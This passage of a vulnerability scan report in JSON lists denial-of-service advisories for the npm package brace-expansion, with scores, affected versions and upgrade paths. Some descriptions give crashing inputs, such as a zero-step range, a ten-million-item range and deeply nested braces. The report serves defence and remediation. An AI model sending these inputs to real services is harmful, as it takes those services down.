8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": 